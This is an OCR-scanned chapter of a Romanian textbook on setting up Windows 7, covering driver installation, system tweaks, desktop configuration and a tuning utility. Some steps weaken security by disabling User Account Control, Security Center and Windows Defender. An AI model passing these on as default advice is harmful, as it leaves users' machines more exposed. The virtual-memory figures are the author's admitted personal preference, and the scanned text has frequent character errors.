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5. Drivere. Cautarea si instalarea acestora. Configurarea SO

conform nevoilor utilizatorului. Configurarea suprafetei de
lucru. Programe de monitorizare a performantelor unui PC.

Obiective:

1. ldentificarea managementului utilizatorilor, domenii de securitate a lor;

2. Crearea conturilor de tip: administrator, utilizator si cu permisiuni speciale;
3. Specificarea driverelor si a modalitatilor de instalare a acestora;

Imediat dupa instalarea SO Windows acesta este configurat in asa fel incat sa poata fi folosit
de cat mai multi utilizatori, ceea ce insemna ca setarile implicite ale sistemului sunt in asa fel
stabilite incat SO sa poata fi folosit si de utilizatorii neexperimentati, ca si de aceia care au
calculatoare mai slabe (vechi).

Utilizatorii cu cunostinte avansate si cei care au calculatoare puternice nu sunt deranjati de
acest lucru, pentru ca ei pot schimba foarte usor configuratia sistemului de operare in asa fel
incat aceasta sa fie in concordanta cu puterea calculatoarelor pe care le poseda si cu gradul lor de
familiarizare cu informatica.

Configurarea SO de la zero presupune urmatorii pasi importanti:
Pasul 1. Instalarea sistemului de operare (Windows 10, Windows 8.1, Windows 7 sau altele);
Pasul 2. Verificarea daca Restaurare Sistem este activ si cream un punct de restaurare;
Pasul 3. Instalrea driverelor lipsa pentru componentele hardware ale calculatorului;
Pasul 4. Instalarea tuturor actualizarilor de Windows importante;
Pasul 5. Instalarea navigatorului de internet preferat;
Pasul 6. Actualizarea BIOS-ului si firmware-ului pentru componentele hardware importante;
Pasul 7. Instalarea unei solutii de securitate buna, antivirus;
Pasul 8. Instalarea plugin-urilor, playere si framework-uri;
Pasul 9. Eliminarea software-ului "fara rost" (necesar pentru sistemele brand-name);
Pasul 10. Instalarea aplicatiilor si jocurilor necesare;
Pasul 11. Configurarea SO conform nevoilor utilizatorului (teme, imagini,etc.).
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5.1 Drivere. Cautarea si instalarea acestora.

Este normal ca sa lasi WINDOWS UPDATE sa recomande si sa instaleze drivere pentru
majoritatea componentelor hardware din calculator, dar nu pentru toate. Cand vine vorba de
driverele video (mai ales cand vorbim de jocuri) ar trebui intotdeauna sa cauti ultimele versiuni
disponibile pe saitul producatorului (de obicei AMD/ATI sau NVIDIA). Alte componente pentru
care s-ar putea sd vrei sa cauti drivere mai noi pe saitul producdtorului includ: placi de retea
(daca ai avut probleme de la inceput cu driverele pentru ele), imprimante, scanere, tastaturi si
mouse-uri (mai ales atunci cdnd folosesti un mouse de gaming, care are nevoie de software
suplimentar).

Windows face o treaba buna la gasirea si instalarea ultimelor drivere pentru majoritatea
celorlalte componente: mouse, touchpad, tastatura, placa de retea (wireless sau Ethernet), placa
de sunet, webcam, imprimanta, scaner, drivere pentru placa de baza. Ca sa fii sigur ca nu ai uitat
nicio componentd, verifica Managerul de dispozitive.

De ce este necesar acest pas acum si nu mai tarziu? latd cateva motive:
+«»+ Vel putea folosi imediat toate resursele hardware disponibile;

% Nu ai inca o solutie de securitate care sd poatd interfera cu instalarea driverelor ori care sa te
enerveze cu o multime de solicitdri de aprobare pentru ca instalarea aplicatiilor tale sa fie
facuta cu succes.
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NOTA: Daci ai un calculator al unui brand cum ar fi ASUS, Dell, HP sau alt brand, acest pas
este probabil deja facut de producator. Totusi, merita sa verifici inca o data ca toate driverele
sunt instalate. De asemenea, poate vrei sd cauti versiuni mai noi, mai ales pentru placa video.

in SO, driverul este un program care are functia de a actiona ca o interfatd intre o anumita
componentd hardware si software. Comenzile pentru componenta hard vin de la diferite
programe prin intermediul sistemului de operare, iar rolul driverului este acela de a transmite
comenzile catre componenta hard. Cu cat driverul este mai bine scris de catre programatori, cu
atit mai buna va fi performanta si stabilitatea componentei hard.

Driverele sunt de doua tipuri:
++ drivere generice
Driverele generice sunt de doua tipuri, in dependenta de cine le-a conceput.

- | tip din generice sunt driverele scrise de inginerii firmei producatoare de chip-ul
hardului. Aceste drivere sunt cele mai bune, pentru ca programatorii au acces direct la
specificatiile tehnice ale chip-ului, ceea ce este un secret tehnologic al companiei
respective. In procesul de scriere al driverului accentul se pune in mod egal pe stabilitate,
performanta si pe compatibilitate cu sistemul de operare. Aceste drivere pot fi folosite
pentru toate componentele pe care se afla chip-ul, indiferent de compania care
asambleaza piesa.

Ex. Un driver scris de NVIDIA este bun pentru orice placa video care are un Chipset
GeForce.

- Il tip de drivere generice sunt scrise de producatorii companiei care au creat sistemul de
operare. Acestea pun accentul pe compatibilitate cu sistemul de operare, pe stabilitate si
mai putin pe performanta componentei hard. Aceste tipuri de drivere sunt mai putin bune
pentru ca programatorii nu au acces la documentatia tehnica detailatd a componentei
hard. Driverele generice impuse de sistemul de operare sunt create special pentru a
permite functionarea tuturor componentelor hard detectate de sistemul de operare. In
momentul in care utilizatorul adauga o componentd noud, sistemul de operare va cduta in
colectia sa de drivere, si dacd gdseste unul potrivit - il instaleaza, dacd nu - porneste un
vrdjitor care ajutd utilizatorului sa instaleze driverul de pe un CD furnizat de producatorul
componentei.

+¢+ drivere specifice

Driverele specifice sunt puse la dispozitie de catre companiile care asambleazd piesele pentru
calculator. Ele se bazeaza pe driverele generice de tipul I. Dezavantajul acestor drivere este ca
ele apar cu mult mai tirziu decit driverele generice de tipul I, si in acest timp este posibil sa fi
aparut alta versiune mai noud a driverelor impuse de firma producatoare a componentei hard.

Driverele unui calculator sunt programe ce permit software-ului sa interactioneze cu
hardware-ul. Acestea pot fi drivere de sunet, video, sau pentru imprimanta. Desi driver-ele fac
parte din sectorul ascuns al Windows-ului, ele pot fi accesate si modificate daca stii ce faci. SO
Windows contine o mare parte a driverelor necesare pentru functionarea pieselor, insa
performanta acestor piese va fi medie. Din aceasta cauza este necesar ca pentru fiecare piesa sa
instalam driverul generic de tipul L.

Cum functioneaza?

in esenta, driver-ele conecteaza componentele hardware de componentele software. Acest lucru
este posibil prin CPU-ul (procesorul) calculatorului. Driverele mai avansate pot sa se ocupe de
performanta calculatorului, oferindu-ti mai mult control asupra lui.
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Diagnosticarea problemelor

Driverele sunt de obicei la baza multor probleme de software sau hardware. In cazul in care
componentele conectate nu mai functioneaza, este de obicei din cauza unor drivere corupte sau
care lipsesc. Acest lucru se intimpla daca fisierul este descarcat in directorul gresit, sau daca este
mutat sau sters din greseala. Cel mai bun mod de a identifica problema este sa descoperi care
drivere sunt asociate cu programele ce nu mai functioneaza. Aceasta informatie se afla de obicei
in manualul sau ghidul de utilizare.

Solutia

Daca descoperi cd un driver este corupt sau lipseste, sunt mai multe modalitdti de a remedia
aceasta problema. Daca inca mai ai CD-ul de instalare al programului afectat, acesta va contine
informatii de rezervd pe care le vei putea descarca. Insi, dacd nu este vorba de asa ceva si
programul afectat nu are CD de instalare, exista drivere gratuite care pot remedia problema.

Cum sa previi problemele cu driverele?

Cea mai buna metoda de prevenire aproblemelor driverelor este de a le pastra intr-un loc sigur
sau care nu poate fi accesat. Daca ai drivere ce se instaleaza automat, este posibil s ai deja un
loc securizat pentru acestea. Daca iti instalezi singur driverele, consultd manualul de operare
pentru informatii despre siguranta stocarii driverelor.

Atentie!
Este important ca toate driverele descarcate de pe internet sa fie legitimate. Unele site-uri pretind
ca au driver-ul cautat de tine, dar de cele mai multe ori, ele conttn lucruri daunatoare ce pot
afecta performanta calculatorului.

DriverPack Solution este o aplicatie care o rulezi direct de pe stick, sau alt mediu de stocare.
Ocupa de 1a 4,7 - 14 GB si iti instaleaza in cateva minute toate driverele necesare pentru SO fara
sa ai nevoie de acces la Internet. Pur si simplu le instaleaza din pachet.
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|k Settings Drivers Programs Backup
Drivers can be updated
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5.2 Configurarea SO conform nevoilor utilizatorului.

1. User Account Control
User Account Control este un utilitar implementat in Windows 7 din motive de securitate si n
functie de modul in care este configurat, ne avertizeaza asupra actiunilor realizate de aplicatii
impiedicand executarea lor fara acordul unui administrator.
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In practica, intreruperile cauzate de alertele acestuia sunt mai mult decét stresante si din acest
motiv e prima caracteristica pe care o dezactivez intotdeauna imediat dupa instalarea sistemului
de operare.

Pentru a dezactiva User Account Control, in caseta RUN (accesibild prin apasarea
combinatiei de taste Win+R), scriem comanda msconfig apoi apasam tasta Enter sau dam click
pe OK. In System Configuration mergem la fila Tools, selectim in lista optiunea Change UAC
Settings apoi dam click pe Launch. Ajunsi in panoul de configurare al User Account Control
Settings, coboram cursorul cat mai aproape de ,,Never notify” apoi dam click pe OK, pe Yes, si
intr-un final repornim calculatorul.

2. Redarea automatdi (USB)
Pana si Microsoft si-a dat seama cd e o porcdrie pornirea automatd... Functia asta std in
permanenta ,,veghere” asteptand ca utilizatorul sa conecteze ceva la PC pentru ca in momentul in
care se intdmpld asta, sd sard in ochii acestuia recomandandu-i realizarea anumitor actiuni.
Utila probabil, insa foarte periculoasa datorita aplicatiilor maligne care profita de ea pentru a se
instala, executa automat.

Pentru a dezactiva redarea automata (AutoPlay / AutoRun), tastam in caseta RUN comanda
gpedit.msc apoi apasam tasta Enter. In Local Group Policy Editor mergem la:
Computer Configuration » Administrative Templates » Windows Components » AutoPlay
Policies » Turn off AutoPlay. Selectdm caseta Enable si dam click pe butoanele Apply si OK
pentru a aplica modificarile.

3. Caracteristicile Windows 7
Sistemele de operare Windows vin dotate cu cateva aplicatii pe care foarte multi utilizatori nu le
utilizeaza, deoarece fie s-au familiarizat deja cu alternative mai bune, fie nu au nevoie de ele.
Pentru a dezactiva caracteristicile Windows 7 nefolositoare urmam ruta:
Control Panel » Programs » Programs and Features » Turn Windows features on or off:
In lista din Windows Features vom deselecta urmitoarele casete:

- Games - Windows Search
- Media Features - XPS Services
- Tablet PC Components - XPS Viewer

- Windows Gadget Platform
Dam click pe OK si asteptam ca asiStentul sd ne ceara sa repornim sistemul.

Nu va faceti griji! In cazul in care mai tarziu veti avea nevoie de oricare dintre aceste
caracteristici, le puteti reinstala foarte simplu: Selectati caseta caracteristicii de care aveti nevoie
apoi dati click pe OK!

4. Sarcinile programate
Sarcinile programate au menirea sa realizeze automat unele actiuni la un anumit interval de timp
sau in anumite imprejurari. Multe dintre ele sunt inutile pentru un utilizator obisnuit, asa ca le
vom dezactival

Pentru a dezactiva sarcinile programate de care nu avem nevoie, mergem la:
Start » All Programs » Accessories » System Tools » Task Scheduler
In Task Scheduler vom merge la Task Scheduler Library » Microsoft » Windows si dezactivim
urmatoarele sarcini:

- In Media Center: - mcupdate

- In MobilePC: - HotStart

- In Windows Media Sharing: - UpdateL ibrary
Nota:
Daca la pasul 3 am dezinstalat Windows Media Center (recomandat), sarcina mcupdate nu va
exista.
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5. Serviciile care nu sunt atit de necesare
Servicii Windows 7 ce pot fi dezactivate pentru cresterea performantei.

Pentru a dezactiva un serviciu al Windows 7, in caseta RUN scriem comanda services.msc
apoi apasam tasta Enter. In lista ce se va deschide, vom da dublu-click pe serviciul a carei
dezactivare dorim sa o realizam, apoi, la Startup type selectam optiunea Disabled. Un click pe
Apply si altul pe OK vor fi suficiente pentru ca serviciul sa nu mai fie lansat la urmatoarea
pornire a sistemului. Lista serviciilor ce pot fi dezactivate:

- Application Experience

- Computer Browser (daca PC-ul nu partajeaza local, fisiere cu alte calculatoare)

- Diagnostic Policy Service

- Distributed Link Tracking Client

- IP Helper

- Offline Files

- Portable Device Enumerator Service

- Print Spooler (daca nu se dispune de o imprimanta)

- Protected Storage

- Remote Registry

- Secondary Logon

- Security Center

- Server (daca PC-ul nu partajeaza local, fisiere cu alte calculatoare)

- Tablet PC Input Service

- TCP/IP NetBIOS Helper

- Windows Error Reporting Service

- Windows Media Center Service Launcher

- Windows Search (daca nu se cauta frecvent fisiere in calculator)
- Windows Time

6. Windows Defender
Microsoft a lansat Windows Defender (un instrument de eliminare a software-ului rau
intentionat; Anti-Spyware). Cu timpul insa, solutiile ANTIVIRUS gratuite, inclusiv Microsoft
Security Essentials, au inceput sd includd protectie anti-Spyware, iar acesta si-a pierdut
importanta si a devenit pentru sistemul de operare mai mult o povara decat un ajutor.

Inainte de a dezactiva Windows Defender, din motive de sigurantd, descircati o solutie
antivirus de incredere, de pe site-ul sau oficial! Puteti opta pentru utilizarea uneia gratuite
(avast!, AVG Free Antivirus, Microsoft Security Essentials, Panda Cloud Antivirus, etc.), insa
recomandabil ar fi ca sd utilizati un software antivirus FULL si care permanent se reactualizeaza.

Pentru a dezactiva Windows Defender accesdm Control Panel, comutdm afisarea pe modul
»Small Icons” apoi dam click pe Windows Defender. Odata deschis Windows Defender, mergem
la Tools » Options » Administrator » deselectam caseta ,,Use this program” apoi face click pe
Apply.

Inainte de a continua, instaldm antivirusul descarcat mai devreme si dacd ni se va cere sa o
facem, atunci vom reporni calculatorul.

7. Homegroup
Aceastd caracteristica a Windows ne permite sd partajam rapid fisiere intre calculatoarele
conectate la aceeasi retea locald. Cum era de asteptat, oricdt de nemaipomenitd ar fi, devine
absolut inutild daca nu dispunem de mai multe PC-uri si nici nu avem obiceiul sa conectdm
unicul calculator in locuri in care o astfel de functie ne-ar prinde bine (la scoala, servici, etc).

Pentru a dezactiva HomeGroup in Windows 7 va trebui sa deschidem Registry Editor si sa
mergem la ruta:
HKEY_CLASSES_ROOTCLSID{B4FB3F98-C1EA-428d-A78A-D1F5659CBA93}ShellFolder
Aici, facem click-dreapta pe ShellFolder » Permissions
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Asta va face sa se deschida fereastra ,,Permissions for ShellFolder” unde, dupa ce selectam
numele nostru de utilizator in panoul ,,Group or user names,, vom bifa caseta ,,Allow” din
dreptul permisiunii ,,Full Control,, Facem click pe Apply » OK pentru a ne reintoarce la Registry
Editor unde, raméanand la ShellFolder, in panoul din partea dreapta, facem dublu-click pe
Atributes pentru a substitui valoarea acestui Key cu b094010c

Dupa ce facem un Log off vom observa ca HomeGroup a disparut din Navigation Pane.
Avand in vedere cd am renuntat la HomeGroup deoarece nu ne era de nici un ajutor real, vom
dezactiva si serviciile pertinente acestuia pentru a reduce consumul de resurse si accelera boot-
area sistemului; e drept ca rezultatul nu va fi unul care sa ne lase cu gura cascata insa atat timp
cat putem evita incarcarea serviciilor de care nu avem nevoie, de ce sa nu o facem ?!?

Pentru a dezactiva serviciile HomeGroup Listener si HomeGroup provider, scriem 1n caseta
Run command (sau in Search Box-ul din meniul de Start) comanda ,,services.msc” si apasdm
Enter. Vizualizand lista serviciilor in modul ,,Standard,,, cautam, si cand il gasim, facem dublu-
click pe serviciul ,,HomeGroup Listener” pentru a-l dezactiva.

Repetam actiunea si cu serviciul HomeGroup Provider. Uite cum, in mai putin de cinci
minute am reusit nu doar sa elimindm o functie care mai mult ne Incurca decat de descurca, ci si
sa reducem consumul de resurse al sistemului pentru obtinerea unei performante mai bune.

8. Efectele vizuale
Efectele Vizuale au scopul sa ne incante privirea, nimic mai mult! Dar este o vorba care spune
,»Ce-1 frumos si lui Dumnezeu ii place!,,; iar eu ma numar printre adeptii lor. Dar exista o serie de
efecte ce pot fi dezactivate fara ca diferentele sa fie vizibile, ba mai mult, v-am dat si o listd cu
cele ce pot fi dezactivate pentru a reduce in acest fel consumul de resurse.

In scopul imbunatitirii performantelor sistemului prin reducerea consumului de resurse, in
mod special dacd dispuneti de un computer mai vechi, ar trebui sd luati in considerare
dezactivarea tuturor efectelor vizuale. E drept ca dupa dezactivarea acestora elementele vizuale
nu vor mai fi la fel de atractive, dar la fel de adevarat este si faptul ca dupa realizarea acestei
operatii resursele disponibile, in special memoria RAM, memoria video, procesorul si inclusiv
Hard Disk-ul sunt mai putin solicitate, ceea ce se traduce intr-o performantd mai buna.

Dacd dezactivarea tuturor efectelor vizuale reprezinta in opinia dumneavoastrd o schimbare
prea radicald, selectati in cadrul filei Visual Effects caseta Custom.

In continuare, daca doriti sa dezactivati strict efectele care nu au un impact vizual important
asupra aspectului sistemului de operare, debifati casetele urmatoarelor elemente:

- Animate controls and elements - Save taskbar thumbnail previews
inside windows - Show shadows under mouse pointer

- Animations in the taskbar and start - Show shadows under windows
menu - Show translucent selection rectangle

- Fade or slide menus into view - Slide open combo boxes

- Fade or slide ToolTips into view - Smooth-scroll list boxes

- Fade out menu items after clicking
Salvati modificarile apasand pe rand butoanele Apply si OK, apoi inchideti panoul de proprietati
a sistemului. Dupa accesarea panoului setarilor avansate ale sistemului, pentru a ajunge la Visual
Effects alegeti fila Advanced, apoi faceti click pe butonul Settings din cadrul sectiunii
Performance.

9. Raportare Erori
Aceasta caracteristica a fost integratd in Windows pentru a ajuta Microsoft in gasirea unei solutii
la eventualele probleme ce pot apirea pe durata sistemului de operare. In teorie, aceasta n-ar
trebui dezactivatd insd cum nu suntem buni samariteni atunci cdnd vine vorba de pierderea
timpului raportdnd erori, lasam aceasta activitate pentru cei cu adevarat pasionati de astfel de
practici.

61



Pentru a evita aparitia mesajului de reportare a erorilor ori de cate ori un program se inchide pe
neasteptate, in caseta RUN scriem comanda gpedit.msc apoi apasim Enter. In Local Group
Policy Editor, selectam caseta Enable la:

Computer Configuration » Administrative Templates » System » Internet Communication
Management » Internet Communication settings » Turn off Windows Error Reporting.

10. Meniul Start
Meniul Start existd pentru a ne face viata mai usoara simplificind modul in care avem acces la
fisierele, aplicatiile si locurile din calculator accesate cel mai des; de ce sd fie altfel ?!?
Bineinteles ca Microsoft n-are cum sa stie ce ne intereseaza pe fiecare in parte si tocmai din acest
motiv ne ofera posibilitatea de a personaliza acest meniu in functie de necesitati.

Pentru a personaliza meniul start, facem click-dreapta pe bara de activitati » Properties » Start
Menu » Customize.
Daca va ajuta la ceva, eu recomand urmatoarea configurare:

- Computer » Display as a link

- Connect to » Deselectat

- Control Panel » Display as link

- Default Programs » Deselectat

- Devices and Printers » Deselectat

- Documents » Display as link

- Downloads » Display as link

- Enable context menus and... » Selectat

- Favorites menu » Deselectat

- Games » Deselectat

- Highlighy newly installed programs » Deselectat

- Homegroup » Deselectat

- Music » Display as a link

- Network » Deselectat

- Open submenus when I pause... » Selectat

- Personal folder » Display as a link

- Pictures » Display as a link

- Recent Items » Deselectat

- Recorded TV » Don’t display this item

- Run command » Selectat

- Search programs and Control Panel » Selectat

- Sort All Programs menu by name » Deselectat

- System administrative tools » Don’t display this item

- Use large icons » Selectat

- Videos » Display as a link

11. Startup and Recovery
Deoarece se poate intampla ca un utilizator sd aibd nevoie de doud sisteme de operare in
calculator (indiferent daca e vorba de doua versiuni de Windows identice ori diferite sau vorbim
de un sistem de operare Windows si altul Linux), Microsoft a inzestrat si Windows 7 cu
capacitatea de a lista la pornirea calculatorului toate sistemele de operare instalate.

Daca nu dispunem de un al doilea sistem de operare instalat in calculator e inutil s mentinem
aceastd caracteristicd activatd si mai mult, nu e recomandat deoarece la fiecare pornire ea va
incerca sa detecteze numarul sistemelor de operare cu care calculatorul poate fi folosit, actiune a
carei efect negativ se resimte la pornire. Asadar, click-dreapta pe Computer » Properties »
Advanced system settings » Advanced » Startup and Recovery » Settings, si deselectim caseta
din dreptul textului ,,Time to display list of operating systems,,
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De asemenea, fiindca tot suntem aici, putem dezactiva repornirea automata a calculatorului n
cazul in care sunt detectate probleme. Dupa deselectarea ambelor casete facem click pe butonul
OK si fard a inchide fereastra System Properties trecem la punctul urmator.

12. Memoria Virtuala
Despre memoria virtuald va reamintesc de ea, deoarece joaca un rol important in performanta
sistemului. Pentru a modifica modul in care este alocatd cantitatea de memorie virtuala utilizata
de sistem, tot in fila Advanced facem click pe butonul Settings din ramura Performance. In
fereastra Performance Options selectam fila Advanced apoi apasam butonul Change. Alocam
cantitatea de memorie virtuald manual.

A. Cum se configureaza memoria virtuala

La fel ca si in versiunile anterioare, respectiv Windows XP si Windows Vista, si, presupun, in
acelasi fel In care se va proceda si in versiunile viitoare ale sistemului de operare Windows,
adica din panoul de setari avansate ale sistemului, pe care il puteti accesa asa cum v-am explicat
aici.

Dupa accesarea panoului de setari avansate ale sistemului, in fila Advanced, sectiunea
Performance, apasati butonul Settings... In fereastra ce se va deschide, Performance Options,
apasati butonul Change... aflat in interiorul sectiunii Virtual memory. Dupa apasarea butonului
Change...se va deschide panoul de configurare a memoriei virtuale. Acesta este locul in care
vom indica sistemului cantitatea si locatia memorie virtuale alocate. In acesta, in prima faza
debifati caseta ,,Automatically manage paging file size for all drives,,, pentru a prelua controlul
asupra memoriei virtuale folosite de sistem.

In cazul in care computerul dumneavoastra dispune de mai multe partitii, pentru inceput
selectati partitia de sistem, bifati caseta No paging file si apasati butonul Set. Cand aceasta va fi
afisata, apasati butonul Yes in cadrul ferestrei de dialog care va va cere sa confirmati ca doriti
dezactivarea permanentd a memoriei virtuale pentru partitia de sistem. In continuare selectati alta
partitie decét cea pe care se afla sistemul de operare, daca este posibil selectati una aflatd pe un
hard disk secundar, bifati optiunea Custom size, apoi introduceti in casetele aldturate optiunilor
Initial size si Maximum size cantitatea de memorie virtuald in MB rezultata in urma calcului
facut conform indicatiilor de la punctul B.

Dupa introducerea cantitatii de memorie virtuald ce va fi pusa la dispozitia sistemului, apdsati
butonul Set pentru aplicarea setarilor. In continuare, inainte de a da clic pe butonul OK, daci
sunt disponibile, selectati celelalte partitii listate si bifati pentru fiecare optiunea No paging file,
asa cum ati procedat cu partitia de sistem.

Pentru a finaliza, Inchideti toate aplicatiile in executie si apasati butonul OK. Sistemul va va
instiinta In acel moment ca este necesard repornirea computerului pentru aplicarea noilor setari.
Acceptati si reporniti.

B. Cum se stabileste cantitatea de memorie virtuala

Recomandarile oficiale...

Difera. Conform Microsoft, in sistemele cu mai putin de 1 GB de memorie RAM, cantitatea
minima de memorie virtuald se calculeaza 1.5*RAM disponibil. Cu alte cuvinte, daca dispunem
de un sistem cu 512 MB de memorie RAM, cantitatea minima de memorie virtuala, adica ceea
ce vom introduce in caseta Initial size (indicata cu sageata numarul 6 din imaginea superioara),
ar fi rezultatul inmultirii 512*1.5=768 MB.

In cazul cantititii maxime de memorie virtuald alocati, formula de calcul ar fi RAM*3 pentru
sistemele cu mai putin de 1 GB de memorie RAM. In exemplul dat, aceasta ar fi 512*3=1536
MB. Daca sistemul dispune de mai mult de 1 GB de memorie RAM, cantitatea minima de
memorie RAM se calculeazi dupi formula 1¥*RAM, iar cantitatea maxima 3*RAM. In cazul
celei din urma, daca rezultatul este superior a 4096 MB (4 GB), se va folosi aceasta valoare.
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Microsoft recomanda ca in sistemele cu mai mult de 1364,33 MB de memorie RAM, cantitatea
maximd de memorie virtuald sa fie de 4096 MB. Pe de alta parte, conform CompTIA A+ si
Microsoft MTA, cantitatea minima de memorie virtuala ar trebui sa se calculeze dupa formula
2*RAM, in timp ce cantitatea maxima se va afla de pe urma calculului RAM*4, acestea
calculandu-se tindndu-se cont si de marimea fisierului dump.

Recomand:

Experienta acumulata de-a lungul timpului mi-a demonstrat ca in sistemele cu mai putin de 1.5
GB de memorie RAM, cantitatea de memorie virtuald trebuie sd se calculeze dupa formula
RAM*3. Cu alte cuvinte, dacad dispuneti de un computer cu 1 GB de memorie RAM, introduceti
in ambele casete valoarea 3072.

In sistemele cu 2 GB de memorie RAM sau mai mult, cantitatea de memorie virtuald
suficienta este de 6144 MB, adica 6 GB. Aceasta configuratic mi-a dat cele mai bune rezultate.
Pe de alta parte, dupa cum probabil ati observat, va sfatuiam mai sus sa folositi aceeasi valoare in
ambele casete pentru a evita calcularea permanentd a valorilor de catre sistemul de operare.
Aceastd recomandare este strict personald si nu se bazeaza pe informatii oficiale, ci pur si simplu
pe recomandarilor altor utilizatori si rezultatele obtinute in urma testarii mai multor metode de
ajustare.

C. Tabelul valorilor recomandate
Pentru a va fi mai usor sa stabiliti cantitatea de memorie virtuald necesard sistemului
dumneavoastra conform recomandarilor mele, am creat urmatorul tabel:

Memorie RAM disponibila Memoria virtuala recomandata
1024 MB 3072MB
1536MB 4608MB
RAM >>2048MB 6144MB

Sunt de parere cd alocarea unei cantitati mai mari de 6144 MB pentru memoria virtuala nu va
garanta o performantd mai buna a sistemului. Daca se face acest lucru, singurul rezultat va fi
blocarea inutila a spatiului ocupat de aceasta (pagefile.sys) pe hard disk.

5.3 Configurarea suprafetei de lucru.

Suprafata de lucru este punctul de pornire, respectiv ceea ce vedeti afisat la punerea in functiune
a calculatorului si lansarea in executie a sistemului Windows. Acest ecran de deschidere asigura
accesul la toate programele si fisierele din calculatorul dumneavoastra.

Aici vom prezenta principalele parti ale suprafetei de lucru.

¢ P1 - Fundalul suprafetei de lucru este suprafata pe care sunt plasate pictogramele.
Pictogramele de pe suprafata de lucru asigura accesul la programele, dosarele si fisierele
frecvent utilizate. Unele pictograme sunt afisate in mod prestabilit. Puteti adauga si alte
pictograme. Executati un click pe butonul Start.

¢ P2 - Butonul Start reprezintd locul de unde accesati programele si deschideti dosarele si
fisierele. Executati un click pe butonul Start.

¢ P3 - Bara de sarcini afiseaza butoane pentru deschiderea ferestrelor si a programelor.

+» P4 - Partea din bara de sarcini numitd bara de stare afiseaza ora, data calendaristica si
pictogramele programelor care ruleaza.

¢ PS5 - Partea de bara de instrumente din bara de sarcini asigura accesul rapid la programe.
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SO Windows 7 se instaleaza fara icoanele My Computer, My Network Place si My
Documents. Oricum ar fi, iata cum aceste icoane se pot restabili pe Desktop-ul sau ecranul
utilizatorului:

- Click dreapta pe Desktop — Ecran intr-o parte unde nu exista nici o icoana si apoi click pe

Personalize;

- Click pe Change desktop icons din partea stanga sus;

- Bifeaza icoanele Computer, User’s Files, Network si Recycle Bin in cazul in care acesta

nu este deja activ.

5.4 Programe de monitorizare a performantelor unui PC.

Magix, este cunoscut mai degraba pentru programele sale MP3 Make si editorul video. Magix a
lansat un utilitar de optimizare si intretinere a sistemului, denumit Magix “PC Check & Tuning
Free”. Este poate singurul program care rivalizeaza cu TuneUp Utilities si nu este doar o
reclama. Conform Magix, programul poate imbunatati performantele pornirii sistemului cu 60%
si transferul de fisiere cu 65%.

MAGIX PC Check & Tuning Free verifica intreg computer-ul pentru vulnerabilitati si puncte
slabe, localizeaza cauzele problemelor si corecteaza erorile in mod automat, sporind
performantele PC-ului.

PC Check Live — este o componenta de monitorizare in timp real a performantelor sistemului,
alertand in cazul unor probleme sau instabilitati, si reducand consumul de resurse. Sistemul va fi
mai rapid si programul dispune de optimizarea swap-ului, a serviciilor si repararea registry-ului
Windows. Programele, jocurile si chiar Windows-ul vor porni mult mai rapid si in plus aveti
posibilitatea de a optimiza conexiunea DSL pentru o viteza crescuta a internetului.

In plus, PC Check & Tuning va indeparta fisierele inutile si temporare, chiar imediat dupa
Instalarea unui program nou, curatand hard disk-ul.

Check PC — este o functie care va cauta eventualele probleme si erori ale sistemului.
Rezultatele sunt afisate dupa citeva secunde intr-un raport si vor fi indicate de asemenea solutii
adecvate. Rezultatele individuale ale testelor sunt disponibile, semnalizate prin culori
asemanatoare unui semafor.

Nu in ultimul rand, o functie interesanta este actualizarea driverelor din sistem. Soft-ul are
suport pentru 31.200 de drivere in acest moment, iar lista este in mod continuu actualizata.

Pentru a descarca si testa acest program excelent, care oferd suport Windows 7, accesati
urmatorul link:

http://download.cnet.com/Magix-PC-Check-amp-Tuning-Free/3000-18512 4-75181588.html

65



6. Instrumentele oferite de panoul de control.

Obiective:

1. Perceperea necesitatii de configurare a suprafetei de lucru. Instrumentele oferite de panoul de
control;

2. Utilizarea instrumentelor:

- Appearence and Personalization; - Security;

- Clock, Language and Region; - System and Maintenance;
- Network and Internet; - User Accounts.

- Programs;

Panoul de control din Windows este locul unde puteti gasi toate setarile importante de sistem,
iar Windows 7 nu face exceptie de la aceasta regula. Noile versiuni 8.1 si 10 include multe
imbunatatiri, menite sd ajute utilizatorii sa giseasca si sa modifice setarile mult mai repede.

Panoul de Control (engleza: Control Panel) face parte din interfata grafica a utilizatorului
(GUI) creata de Microsoft Windows, care permite userilor sa vizualizeze si sd manipuleze
setarile de baza ale sistemului prin intermediul unei liste de applet-uri, cum ar fi addugarea
hardware-ului, adaugarea sau inlaturarea software-ului, controlul contului de utilizator, si
schimbarea optiunilor de accesibilitate. Applet-urile aditionale pot fi prevazute de sistemul
tertiar.

Panoul de Control a fost ca o mostenire a sistemului de operare Microsoft Windows inca de la
realizarea sa in (Windows 1.0), cu multe dintre applet-urile actuale adaugate pe masura ce
versiunile abundau. Incepand cu Windows 95, Panoul de Control a fost implementat ca un folder
special, folderul nu existda in mod fizic, insa contine shortcut-uri ale multor applet-uri cum ar fi
Adauga sau inlaturd programe (Add or Remove Programs) si Optiunile Internetului (Internet
Options). Aceste applet-uri sunt stocate ca niste fisiere .cpl. De exemplu, applet-ul Adauga sau
inlaturd programe este stocat sub numele de appwiz.cpl in folderul SYSTEM32.

in versiunile recente de Windows, Panoul de Control are doud categorii de vizualizare,
Vizualizare Clasica (Classic View) si Vizualizare pe Categorii (Category View), si este posibila
schimbarea intre acestea printr-o optiune ce apare in partea din stanga a ferestrei.

Multe dintre apllet-urile individuale ale Panoului de Control pot fi accesate prin alte cai. De
exemplu, Proprietiti de Afisare (Display Properties) pot fi accesate dand click-dreapta intr-o0
zona libera de pe desktop si alegdnd Proprietati (Properties).

Vizualizarea clasica consta in shortcut-uri ale diferitelor applet-uri din Panoul de Control, de
obicei fara vreo descriere (alta decat numele). Categoriile se pot vedea daca utilizatorul alege
vizualizarea pe "Detalii" ("Details").

Modificarea setdrilor predefinite legate de functionalitatea si aspectul SO se realizeada din
panoul de control ("Control Panel™), care permite personalizarea SO in asa fel incat lucrul cu
calculatorul sa fie eficient si agreabil. In SO Windows afisim panoul de control executand clic
pe butonul "Start", ducand cursorul mouse-ului peste coloana din dreapta a meniului de start si in
final executand clic pe optiunea "Control Panel”. Panoul de Control are mai multe sectiuni si
rolul fiecareia va fi expus pe scurt in acesta tema introductiva. Sectiunile foarte importante vor fi
luate 1n discutie in cadrul unor teme separate. Pentru a afisa continutul unei sectiuni va trebui sa
facem dublu clic pe iconita ei.

6.1 Sectiunile panoului de control

¢ Accesibility Options ("Optiuni Legate de Usurinta de Utilizare") : Contine optiuni care
permit folosirea SO Windows de catre persoanele cu handicap motor, vizual sau auditiv.

% Add Hardware ("Adauga Componente Hardware Noi") : Permite identificarea de catre SO
